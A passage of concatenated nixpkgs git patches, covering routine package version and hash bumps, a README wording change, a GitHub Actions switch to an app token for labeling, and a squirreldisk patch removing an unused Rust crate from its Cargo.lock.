a/pkgs/development/python-modules/adafruit-platformdetect/default.nix +++ b/pkgs/development/python-modules/adafruit-platformdetect/default.nix @@ -3,7 +3,6 @@ buildPythonPackage, fetchPypi, setuptools-scm, - pythonOlder, }: buildPythonPackage rec { @@ -11,8 +10,6 @@ buildPythonPackage rec { version = "3.80.0"; pyproject = true; - disabled = pythonOlder "3.7"; - src = fetchPypi { pname = "adafruit_platformdetect"; inherit version; @@ -30,7 +27,7 @@ buildPythonPackage rec { description = "Platform detection for use by Adafruit libraries"; homepage = "https://github.com/adafruit/Adafruit_Python_PlatformDetect"; changelog = "https://github.com/adafruit/Adafruit_Python_PlatformDetect/releases/tag/${version}"; - license = with licenses; [ mit ]; + license = licenses.mit; maintainers = with maintainers; [ fab ]; }; } From 9ccd8b5835fb71150e44ab0ec05326327c6e71a7 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 09:46:56 +0000 Subject: [PATCH 140/390] spider: 2.37.104 -> 2.37.120 --- pkgs/by-name/sp/spider/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/sp/spider/package.nix b/pkgs/by-name/sp/spider/package.nix index 2da205e042b6..b6761587d514 100644 --- a/pkgs/by-name/sp/spider/package.nix +++ b/pkgs/by-name/sp/spider/package.nix @@ -14,17 +14,17 @@ rustPlatform.buildRustPackage (finalAttrs: { pname = "spider"; - version = "2.37.104"; + version = "2.37.120"; src = fetchFromGitHub { owner = "spider-rs"; repo = "spider"; tag = "v${finalAttrs.version}"; - hash = "sha256-u9Xbn+BK6pzMh2m02WKimVPRWTOuYPAf3IeQvKGyrv0="; + hash = "sha256-Aa041j8BHJ6s+R5zy8LYBo7rVKY9Xp2L9q4GdPS5Bo4="; }; useFetchCargoVendor = true; - cargoHash = "sha256-HU15of5imnk609GF+RtlYpxQwgfEy8+6cbjl4RuytBw="; + cargoHash = "sha256-Xnd4vqs8GwIlmC6HYZtC7xehF6HNkjs35QocCIZmQe8="; nativeBuildInputs = [ pkg-config From 30a6ce842b99b5f790e24a71861ef885542ce010 Mon Sep 17 00:00:00 2001 From: Alistair Grant Date: Mon, 23 Jun 2025 12:05:43 +0200 Subject: [PATCH 141/390] glamoroustoolkit: 1.1.24 -> 1.1.32 --- pkgs/by-name/gl/glamoroustoolkit/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/gl/glamoroustoolkit/package.nix b/pkgs/by-name/gl/glamoroustoolkit/package.nix index 6611b389a878..f79895b5ffbe 100644 --- a/pkgs/by-name/gl/glamoroustoolkit/package.nix +++ b/pkgs/by-name/gl/glamoroustoolkit/package.nix @@ -36,12 +36,12 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "glamoroustoolkit"; - version = "1.1.24"; + version = "1.1.32"; src = fetchzip { url = "https://github.com/feenkcom/gtoolkit-vm/releases/download/v${finalAttrs.version}/GlamorousToolkit-x86_64-unknown-linux-gnu.zip"; stripRoot = false; - hash = "sha256-dTJ2YMNZwpZj3ZDWegjFr9aiaUtTpN8gY1wq5SAoVvs="; + hash = "sha256-uZrq4RM50NcQPHFFfqIRBJ/rq/I09D8WxKz3/xqpOEI="; }; nativeBuildInputs = [ From 6ab23cbe035d0920efdf8b6a9407344ceb2cd1eb Mon Sep 17 00:00:00 2001 From: isabel Date: Mon, 23 Jun 2025 11:09:51 +0100 Subject: [PATCH 142/390] moonlight: 1.3.19 -> 1.3.21 Diff: https://github.com/moonlight-mod/moonlight/compare/refs/tags/v1.3.19...refs/tags/v1.3.21 Changelog: https://raw.githubusercontent.com/moonlight-mod/moonlight/refs/tags/v1.3.21/CHANGELOG.md --- pkgs/by-name/mo/moonlight/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix index 9c693388b79b..7dcba6fd299e 100644 --- a/pkgs/by-name/mo/moonlight/package.nix +++ b/pkgs/by-name/mo/moonlight/package.nix @@ -8,13 +8,13 @@ }: stdenv.mkDerivation (finalAttrs: { pname = "moonlight"; - version = "1.3.19"; + version = "1.3.21"; src = fetchFromGitHub { owner = "moonlight-mod"; repo = "moonlight"; tag = "v${finalAttrs.version}"; - hash = "sha256-cFsVYlIkSNEpGw4qT9Eea6sa1+dZyaCRZNrgQTc8wu4="; + hash = "sha256-E8iHTYK9iUtIjYgBNj54Xeulj9WaxSGDbzOLLFhCSqA="; }; nativeBuildInputs = [ @@ -27,7 +27,7 @@ stdenv.mkDerivation (finalAttrs: { buildInputs = [ nodejs_22 ]; - hash = "sha256-Z/OypVPARLrSfvp9U2sPdgv194nj/f2VBxcxwtvaU5Q="; + hash = "sha256-FOhaBm0mc7rHBGzenqRWsxGwktXTq25n/6yz7IURYXY="; }; env = { From e67d5cbb6895757e0e16d98e66454e89e08c1bac Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 10:35:22 +0000 Subject: [PATCH 143/390] pyradio: 0.9.3.11.13 -> 0.9.3.11.15 --- pkgs/by-name/py/pyradio/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/py/pyradio/package.nix b/pkgs/by-name/py/pyradio/package.nix index 000dc60fadcb..e66cbb27c01e 100644 --- a/pkgs/by-name/py/pyradio/package.nix +++ b/pkgs/by-name/py/pyradio/package.nix @@ -7,13 +7,13 @@ python3Packages.buildPythonApplication rec { pname = "pyradio"; - version = "0.9.3.11.13"; + version = "0.9.3.11.15"; src = fetchFromGitHub { owner = "coderholic"; repo = "pyradio"; tag = version; - hash = "sha256-thHx1IJLYG83qxV6QSHRn7Jt1a1LUR47noDvAtcFZuE="; + hash = "sha256-xOEn01QrVlgXhFdO3YbR5+k7vkez//Y+YSKTI8C4uqA="; }; nativeBuildInputs = [ From b598273a40453dbb7933b1b353063466066f213d Mon Sep 17 00:00:00 2001 From: Nikita Krasnov Date: Mon, 23 Jun 2025 14:14:30 +0300 Subject: [PATCH 144/390] pkgs/README: suggest using `git add -A` Suggest using `git add -A` instead of `git add .` as it is a little more robust. https://stackoverflow.com/q/26042390/13749801 --- pkgs/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/README.md b/pkgs/README.md index edf3d9e3a63e..92adbddd786e 100644 --- a/pkgs/README.md +++ b/pkgs/README.md @@ -576,7 +576,7 @@ If you do need to do create this sort of patch file, one way to do so is with gi ```ShellSession $ git init - $ git add . + $ git add -A ``` 3. Edit some files to make whatever changes need to be included in the patch. From acc1c0ae59106180ec63f11503d0f4bd090436c4 Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Mon, 23 Jun 2025 09:20:45 +0200 Subject: [PATCH 145/390] workflows/labels: run with app token This gives us a much higher rate limit of 12.5k requests per hour. If the app is not available, we fallback to the regular `github.token`. This can happen when testing in forks without setting up an app. --- .github/workflows/labels.yml | 27 +++++++++++++++++++++------ .github/workflows/pr.yml | 2 ++ 2 files changed, 23 insertions(+), 6 deletions(-) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index 262a050797b8..7578af452f76 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -13,6 +13,9 @@ on: headBranch: required: true type: string + secrets: + NIXPKGS_CI_APP_PRIVATE_KEY: + required: true workflow_dispatch: inputs: updatedWithin: @@ -28,6 +31,8 @@ concurrency: # PR- and manually-triggered runs will be cancelled, but scheduled runs will be queued. cancel-in-progress: ${{ github.event_name != 'schedule' }} +# This is used as fallback without app only. +# This happens when testing in forks without setting up that app. permissions: issues: write # needed to create *new* labels pull-requests: write @@ -44,9 +49,18 @@ jobs: - name: Install dependencies run: npm install @actions/artifact bottleneck + # Use a GitHub App, because it has much higher rate limits: 12,500 instead of 5,000 req / hour. + - uses: actions/create-github-app-token@df432ceedc7162793a195dd1713ff69aefc7379e # v2.0.6 + if: vars.NIXPKGS_CI_APP_ID + id: app-token + with: + app-id: ${{ vars.NIXPKGS_CI_APP_ID }} + private-key: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }} + permission-pull-requests: write + - name: Log current API rate limits env: - GH_TOKEN: ${{ github.token }} + GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} run: gh api /rate_limit | jq - name: Labels from API data and Eval results @@ -54,6 +68,7 @@ jobs: env: UPDATED_WITHIN: ${{ inputs.updatedWithin }} with: + github-token: ${{ steps.app-token.outputs.token || github.token }} script: | const Bottleneck = require('bottleneck') const path = require('node:path') @@ -272,7 +287,7 @@ jobs: - name: Log current API rate limits env: - GH_TOKEN: ${{ github.token }} + GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} run: gh api /rate_limit | jq - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0 @@ -281,7 +296,7 @@ jobs: github.event_name == 'pull_request_target' && !contains(fromJSON(inputs.headBranch).type, 'development') with: - repo-token: ${{ secrets.GITHUB_TOKEN }} + repo-token: ${{ steps.app-token.outputs.token }} configuration-path: .github/labeler.yml # default sync-labels: true @@ -291,7 +306,7 @@ jobs: github.event_name == 'pull_request_target' && !contains(fromJSON(inputs.headBranch).type, 'development') with: - repo-token: ${{ secrets.GITHUB_TOKEN }} + repo-token: ${{ steps.app-token.outputs.token }} configuration-path: .github/labeler-no-sync.yml sync-labels: false @@ -304,11 +319,11 @@ jobs: github.event_name == 'pull_request_target' && contains(fromJSON(inputs.headBranch).type, 'development') with: - repo-token: ${{ secrets.GITHUB_TOKEN }} + repo-token: ${{ steps.app-token.outputs.token }} configuration-path: .github/labeler-development-branches.yml sync-labels: true - name: Log current API rate limits env: - GH_TOKEN: ${{ github.token }} + GH_TOKEN: ${{ steps.app-token.outputs.token || github.token }} run: gh api /rate_limit | jq diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 4837ae5f1fc5..d3a6d2a56a82 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -103,6 +103,8 @@ jobs: permissions: issues: write pull-requests: write + secrets: + NIXPKGS_CI_APP_PRIVATE_KEY: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }} with: headBranch: ${{ needs.prepare.outputs.headBranch }} From c86ced841967291650b43d712b83b9cf4cb2ec64 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 11:26:43 +0000 Subject: [PATCH 146/390] linuxPackages.nct6687d: 0-unstable-2025-05-17 -> 0-unstable-2025-06-19 --- pkgs/os-specific/linux/nct6687d/default.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/os-specific/linux/nct6687d/default.nix b/pkgs/os-specific/linux/nct6687d/default.nix index c51907c9070c..d9582c190591 100644 --- a/pkgs/os-specific/linux/nct6687d/default.nix +++ b/pkgs/os-specific/linux/nct6687d/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation { pname = "nct6687d"; - version = "0-unstable-2025-05-17"; + version = "0-unstable-2025-06-19"; src = fetchFromGitHub { owner = "Fred78290"; repo = "nct6687d"; - rev = "e2730ffad9449b81ced099bc2827efd2a8c25ddd"; - hash = "sha256-rqCeKGcke66gDvNSlLlPEqyVKbQrFnonrIT9/GicA7k="; + rev = "cd6a28196ceb98531a045eb279eb6179176cdc82"; + hash = "sha256-brJigUwQwzLsMIvJdY1CehOdYub+dsh3u3ALIn496VU="; }; setSourceRoot = '' From cd5ba2187790ccd2c8772765b10a1ad2dd9b649e Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 11:27:06 +0000 Subject: [PATCH 147/390] python3Packages.bloodyad: 2.1.18 -> 2.1.20 --- pkgs/development/python-modules/bloodyad/default.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/development/python-modules/bloodyad/default.nix b/pkgs/development/python-modules/bloodyad/default.nix index bd548735441d..1fbaed553263 100644 --- a/pkgs/development/python-modules/bloodyad/default.nix +++ b/pkgs/development/python-modules/bloodyad/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "bloodyad"; - version = "2.1.18"; + version = "2.1.20"; pyproject = true; disabled = pythonOlder "3.8"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "CravateRouge"; repo = "bloodyAD"; tag = "v${version}"; - hash = "sha256-4/5cAYt3IhRxbd8bSXlyvCOCMLIJjWxWnke0vslyD2Y="; + hash = "sha256-mPomYeGuTbj5cKR+/null7EIjuSVsNbKqnPIqAOkZQY="; }; pythonRelaxDeps = [ "cryptography" ]; @@ -68,7 +68,7 @@ buildPythonPackage rec { meta = with lib; { description = "Module for Active Directory Privilege Escalations"; homepage = "https://github.com/CravateRouge/bloodyAD"; - changelog = "https://github.com/CravateRouge/bloodyAD/releases/tag/v${version}"; + changelog = "https://github.com/CravateRouge/bloodyAD/releases/tag/${src.tag}"; license = licenses.mit; maintainers = with maintainers; [ fab ]; }; From 905576405e86b41998436dfeb9cb630affcab9c0 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 12:16:29 +0000 Subject: [PATCH 148/390] discordo: 0-unstable-2025-06-12 -> 0-unstable-2025-06-21 --- pkgs/applications/networking/discordo/default.nix | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/pkgs/applications/networking/discordo/default.nix b/pkgs/applications/networking/discordo/default.nix index 80b35ac186fc..37505dbfb3f7 100644 --- a/pkgs/applications/networking/discordo/default.nix +++ b/pkgs/applications/networking/discordo/default.nix @@ -10,16 +10,16 @@ buildGoModule rec { pname = "discordo"; - version = "0-unstable-2025-06-12"; + version = "0-unstable-2025-06-21"; src = fetchFromGitHub { owner = "ayn2op"; repo = pname; - rev = "ea5abfdcd67298086a6eb8fc84b7b622b6ab3496"; - hash = "sha256-Srm1nEiY4DiZB2Ogj1jzvB+9pmJRcBYLvlikANa7FHM="; + rev = "635ac3678656f23e21de7b114b41cce4390b3386"; + hash = "sha256-mM5JesCqzPkOp+u/oZABef/CNAwlGACNqmHr7YG0wD4="; }; - vendorHash = "sha256-4iBMRcnOWCGz6QkYY7mmgKFw6c5LR25sZaRVm7wreOM="; + vendorHash = "sha256-X1/NjLI16U9+UyXMDmogRfIvuYNmWgIJ40uYo7VeTP0="; env.CGO_ENABLED = 0; From 67537cf7b5e9998154d6f1cc11c6c71a586109e6 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 13:10:34 +0000 Subject: [PATCH 149/390] polylith: 0.2.21 -> 0.2.22 --- pkgs/by-name/po/polylith/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/po/polylith/package.nix b/pkgs/by-name/po/polylith/package.nix index 8e2a55981193..a91b3e4cecaa 100644 --- a/pkgs/by-name/po/polylith/package.nix +++ b/pkgs/by-name/po/polylith/package.nix @@ -8,11 +8,11 @@ stdenv.mkDerivation rec { pname = "polylith"; - version = "0.2.21"; + version = "0.2.22"; src = fetchurl { url = "https://github.com/polyfy/polylith/releases/download/v${version}/poly-${version}.jar"; - sha256 = "sha256-w1STu6+OzEhZ3MnfXer6QRQauEfW15iMIiiMN+nxAe0="; + sha256 = "sha256-DKJ669TeDFK/USi7UxraAqgqnSCkG/nSIGphvpsmUv8="; }; dontUnpack = true; From bd4ba51bde5f257fa7a32b7bcf2d3ac9a114ce5c Mon Sep 17 00:00:00 2001 From: Peter Retzlaff Date: Mon, 23 Jun 2025 15:15:04 +0200 Subject: [PATCH 150/390] squirreldisk: fix build error Apply patch to remove dependency on outdated and unused parallel-disk-usage crate. See https://github.com/adileo/squirreldisk/pull/49 --- pkgs/by-name/sq/squirreldisk/package.nix | 9 +- .../sq/squirreldisk/remove-pdu-crate.patch | 487 ++++++++++++++++++ 2 files changed, 495 insertions(+), 1 deletion(-) create mode 100644 pkgs/by-name/sq/squirreldisk/remove-pdu-crate.patch diff --git a/pkgs/by-name/sq/squirreldisk/package.nix b/pkgs/by-name/sq/squirreldisk/package.nix index 81fd8702ec15..0add3e328ff3 100644 --- a/pkgs/by-name/sq/squirreldisk/package.nix +++ b/pkgs/by-name/sq/squirreldisk/package.nix @@ -37,7 +37,7 @@ rustPlatform.buildRustPackage rec { buildAndTestSubdir = "src-tauri"; useFetchCargoVendor = true; - cargoHash = "sha256-dFTdbMX355klZ2wY160bYcgMiOiOGplEU7/e6Btv5JI="; + cargoHash = "sha256-PfpbzawgwkqykG4u2G05rgZwksuxWJUcv6asnJvZJvU="; npmDeps = fetchNpmDeps { name = "squirreldisk-${version}-npm-deps"; @@ -51,6 +51,13 @@ rustPlatform.buildRustPackage rec { ./update-pdu-json-format.patch ]; + cargoPatches = [ + # Remove dependency on parallel-disk-usage crate. The version is outdated and + # does not compile anymore with Rust 1.87.0. + # https://github.com/adileo/squirreldisk/pull/49 + ./remove-pdu-crate.patch + ]; + postPatch = '' # Use pdu binary from nixpkgs instead of the vendored prebuilt binary rm src-tauri/bin/pdu-* diff --git a/pkgs/by-name/sq/squirreldisk/remove-pdu-crate.patch b/pkgs/by-name/sq/squirreldisk/remove-pdu-crate.patch new file mode 100644 index 000000000000..bb1ac7fbf330 --- /dev/null +++ b/pkgs/by-name/sq/squirreldisk/remove-pdu-crate.patch @@ -0,0 +1,487 @@ +diff --git a/src-tauri/Cargo.lock b/src-tauri/Cargo.lock +index 667c8b7..440d72a 100644 +--- a/src-tauri/Cargo.lock ++++ b/src-tauri/Cargo.lock +@@ -38,12 +38,6 @@ version = "1.0.68" + source = "registry+https://github.com/rust-lang/crates.io-index" + checksum = "2cb2f989d18dd141ab8ae82f64d1a8cdd37e0840f73a406896cf5e99502fab61" + +-[[package]] +-name = "assert-cmp" +-version = "0.2.1" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "737bf4aa6df38f69a17efc233b4d0343cc5aa0d2c3b53e7007bd4c9866038ffd" +- + [[package]] + name = "atk" + version = "0.15.1" +@@ -252,64 +246,6 @@ version = "1.0.0" + source = "registry+https://github.com/rust-lang/crates.io-index" + checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +-[[package]] +-name = "clap" +-version = "4.1.4" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "f13b9c79b5d1dd500d20ef541215a6423c75829ef43117e1b4d17fd8af0b5d76" +-dependencies = [ +- "bitflags", +- "clap_derive", +- "clap_lex", +- "is-terminal", +- "once_cell", +- "strsim", +- "termcolor", +-] +- +-[[package]] +-name = "clap-utilities" +-version = "0.2.0" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "15bcff807ef65113605e59223ac0ce77adc2cc0976e3ece014e0f2c17e4a7798" +-dependencies = [ +- "clap", +- "clap_complete", +- "pipe-trait", +- "thiserror", +-] +- +-[[package]] +-name = "clap_complete" +-version = "4.1.1" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "3d6540eedc41f8a5a76cf3d8d458057dcdf817be4158a55b5f861f7a5483de75" +-dependencies = [ +- "clap", +-] +- +-[[package]] +-name = "clap_derive" +-version = "4.1.0" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "684a277d672e91966334af371f1a7b5833f9aa00b07c84e92fbce95e00208ce8" +-dependencies = [ +- "heck 0.4.0", +- "proc-macro-error", +- "proc-macro2", +- "quote", +- "syn", +-] +- +-[[package]] +-name = "clap_lex" +-version = "0.3.1" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "783fe232adfca04f90f56201b26d79682d4cd2625e0bc7290b95123afe558ade" +-dependencies = [ +- "os_str_bytes", +-] +- + [[package]] + name = "cocoa" + version = "0.24.1" +@@ -518,38 +454,14 @@ version = "0.2.2" + source = "registry+https://github.com/rust-lang/crates.io-index" + checksum = "b365fabc795046672053e29c954733ec3b05e4be654ab130fe8f1f94d7051f35" + +-[[package]] +-name = "darling" +-version = "0.12.4" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "5f2c43f534ea4b0b049015d00269734195e6d3f0f6635cb692251aca6f9f8b3c" +-dependencies = [ +- "darling_core 0.12.4", +- "darling_macro 0.12.4", +-] +- + [[package]] + name = "darling" + version = "0.13.4" + source = "registry+https://github.com/rust-lang/crates.io-index" + checksum = "a01d95850c592940db9b8194bc39f4bc0e89dee5c4265e4b1807c34a9aba453c" + dependencies = [ +- "darling_core 0.13.4", +- "darling_macro 0.13.4", +-] +- +-[[package]] +-name = "darling_core" +-version = "0.12.4" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "8e91455b86830a1c21799d94524df0845183fa55bafd9aa137b01c7d1065fa36" +-dependencies = [ +- "fnv", +- "ident_case", +- "proc-macro2", +- "quote", +- "strsim", +- "syn", ++ "darling_core", ++ "darling_macro", + ] + + [[package]] +@@ -566,24 +478,13 @@ dependencies = [ + "syn", + ] + +-[[package]] +-name = "darling_macro" +-version = "0.12.4" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "29b5acf0dea37a7f66f7b25d2c5e93fd46f8f6968b1a5d7a3e02e97768afc95a" +-dependencies = [ +- "darling_core 0.12.4", +- "quote", +- "syn", +-] +- + [[package]] + name = "darling_macro" + version = "0.13.4" + source = "registry+https://github.com/rust-lang/crates.io-index" + checksum = "9c972679f83bdf9c42bd905396b6c3588a843a17f0f16dfcfa3e2c5d57441835" + dependencies = [ +- "darling_core 0.13.4", ++ "darling_core", + "quote", + "syn", + ] +@@ -599,37 +500,6 @@ dependencies = [ + "winapi", + ] + +-[[package]] +-name = "derive_builder" +-version = "0.10.2" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "d13202debe11181040ae9063d739fa32cfcaaebe2275fe387703460ae2365b30" +-dependencies = [ +- "derive_builder_macro", +-] +- +-[[package]] +-name = "derive_builder_core" +-version = "0.10.2" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "66e616858f6187ed828df7c64a6d71720d83767a7f19740b2d1b6fe6327b36e5" +-dependencies = [ +- "darling 0.12.4", +- "proc-macro2", +- "quote", +- "syn", +-] +- +-[[package]] +-name = "derive_builder_macro" +-version = "0.10.2" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "58a94ace95092c5acb1e97a7e846b310cfbd499652f72297da7493f618a98d73" +-dependencies = [ +- "derive_builder_core", +- "syn", +-] +- + [[package]] + name = "derive_more" + version = "0.99.17" +@@ -722,27 +592,6 @@ dependencies = [ + "cfg-if", + ] + +-[[package]] +-name = "errno" +-version = "0.2.8" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "f639046355ee4f37944e44f60642c6f3a7efa3cf6b78c78a0d989a8ce6c396a1" +-dependencies = [ +- "errno-dragonfly", +- "libc", +- "winapi", +-] +- +-[[package]] +-name = "errno-dragonfly" +-version = "0.1.2" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf" +-dependencies = [ +- "cc", +- "libc", +-] +- + [[package]] + name = "fastrand" + version = "1.8.0" +@@ -784,16 +633,6 @@ dependencies = [ + "miniz_oxide", + ] + +-[[package]] +-name = "fmt-iter" +-version = "0.2.1" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "d0b9289d76691c7084d8830f1d0a29ddefbad768f8b5f276e012840bb0fca610" +-dependencies = [ +- "derive_more", +- "itertools", +-] +- + [[package]] + name = "fnv" + version = "1.0.7" +@@ -1329,37 +1168,6 @@ dependencies = [ + "cfg-if", + ] + +-[[package]] +-name = "io-lifetimes" +-version = "1.0.4" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "e7d6c6f8c91b4b9ed43484ad1a938e393caf35960fce7f82a040497207bd8e9e" +-dependencies = [ +- "libc", +- "windows-sys 0.42.0", +-] +- +-[[package]] +-name = "is-terminal" +-version = "0.4.2" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "28dfb6c8100ccc63462345b67d1bbc3679177c75ee4bf59bf29c8b1d110b8189" +-dependencies = [ +- "hermit-abi", +- "io-lifetimes", +- "rustix", +- "windows-sys 0.42.0", +-] +- +-[[package]] +-name = "itertools" +-version = "0.10.5" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473" +-dependencies = [ +- "either", +-] +- + [[package]] + name = "itoa" + version = "0.4.8" +@@ -1477,12 +1285,6 @@ dependencies = [ + "safemem", + ] + +-[[package]] +-name = "linux-raw-sys" +-version = "0.1.4" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "f051f77a7c8e6957c0696eac88f26b0117e54f52d3fc682ab19397a8812846a4" +- + [[package]] + name = "lock_api" + version = "0.4.9" +@@ -1892,12 +1694,6 @@ dependencies = [ + "windows-sys 0.42.0", + ] + +-[[package]] +-name = "os_str_bytes" +-version = "6.4.1" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "9b7820b9daea5457c9f21c69448905d723fbd21136ccf521748f23fd49e723ee" +- + [[package]] + name = "overload" + version = "0.1.1" +@@ -1929,31 +1725,6 @@ dependencies = [ + "system-deps 6.0.3", + ] + +-[[package]] +-name = "parallel-disk-usage" +-version = "0.8.3" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "e42b33f85d6d5a345c243fff616265c2b8263a44641e88e4afd80f32dbd7279b" +-dependencies = [ +- "assert-cmp", +- "clap", +- "clap-utilities", +- "clap_complete", +- "derive_more", +- "fmt-iter", +- "itertools", +- "pipe-trait", +- "rayon", +- "rounded-div", +- "serde", +- "serde_json", +- "smart-default", +- "terminal_size", +- "text-block-macros", +- "thiserror", +- "zero-copy-pads", +-] +- + [[package]] + name = "parking_lot" + version = "0.12.1" +@@ -2115,12 +1886,6 @@ version = "0.1.0" + source = "registry+https://github.com/rust-lang/crates.io-index" + checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +-[[package]] +-name = "pipe-trait" +-version = "0.4.0" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "c1be1ec9e59f0360aefe84efa6f699198b685ab0d5718081e9f72aa2344289e2" +- + [[package]] + name = "pkg-config" + version = "0.3.26" +@@ -2432,12 +2197,6 @@ dependencies = [ + "windows 0.37.0", + ] + +-[[package]] +-name = "rounded-div" +-version = "0.1.2" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "464c8fb0a126d6a0326baf6abf1aa62c2da0d5780aa781a81451d64f543f5e2f" +- + [[package]] + name = "rustc_version" + version = "0.3.3" +@@ -2456,20 +2215,6 @@ dependencies = [ + "semver 1.0.16", + ] + +-[[package]] +-name = "rustix" +-version = "0.36.7" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "d4fdebc4b395b7fbb9ab11e462e20ed9051e7b16e42d24042c776eca0ac81b03" +-dependencies = [ +- "bitflags", +- "errno", +- "io-lifetimes", +- "libc", +- "linux-raw-sys", +- "windows-sys 0.42.0", +-] +- + [[package]] + name = "rustversion" + version = "1.0.11" +@@ -2658,7 +2403,7 @@ version = "1.5.2" + source = "registry+https://github.com/rust-lang/crates.io-index" + checksum = "e182d6ec6f05393cc0e5ed1bf81ad6db3a8feedf8ee515ecdd369809bcce8082" + dependencies = [ +- "darling 0.13.4", ++ "darling", + "proc-macro2", + "quote", + "syn", +@@ -2747,17 +2492,6 @@ version = "1.10.0" + source = "registry+https://github.com/rust-lang/crates.io-index" + checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0" + +-[[package]] +-name = "smart-default" +-version = "0.6.0" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "133659a15339456eeeb07572eb02a91c91e9815e9cbc89566944d2c8d3efdbf6" +-dependencies = [ +- "proc-macro2", +- "quote", +- "syn", +-] +- + [[package]] + name = "soup2" + version = "0.2.1" +@@ -2792,7 +2526,6 @@ version = "0.0.0" + dependencies = [ + "cocoa", + "objc", +- "parallel-disk-usage", + "raw-window-handle", + "regex", + "serde", +@@ -3200,31 +2933,6 @@ dependencies = [ + "utf-8", + ] + +-[[package]] +-name = "termcolor" +-version = "1.2.0" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "be55cf8942feac5c765c2c993422806843c9a9a45d4d5c407ad6dd2ea95eb9b6" +-dependencies = [ +- "winapi-util", +-] +- +-[[package]] +-name = "terminal_size" +-version = "0.2.3" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "cb20089a8ba2b69debd491f8d2d023761cbf196e999218c591fa1e7e15a21907" +-dependencies = [ +- "rustix", +- "windows-sys 0.42.0", +-] +- +-[[package]] +-name = "text-block-macros" +-version = "0.1.1" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "7f8b59b4da1c1717deaf1de80f0179a9d8b4ac91c986d5fd9f4a8ff177b84049" +- + [[package]] + name = "thin-slice" + version = "0.1.1" +@@ -3452,12 +3160,6 @@ version = "1.10.0" + source = "registry+https://github.com/rust-lang/crates.io-index" + checksum = "0fdbf052a0783de01e944a6ce7a8cb939e295b1e7be835a1112c3b9a7f047a5a" + +-[[package]] +-name = "unicode-width" +-version = "0.1.10" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" +- + [[package]] + name = "url" + version = "2.3.1" +@@ -4036,18 +3738,6 @@ dependencies = [ + "libc", + ] + +-[[package]] +-name = "zero-copy-pads" 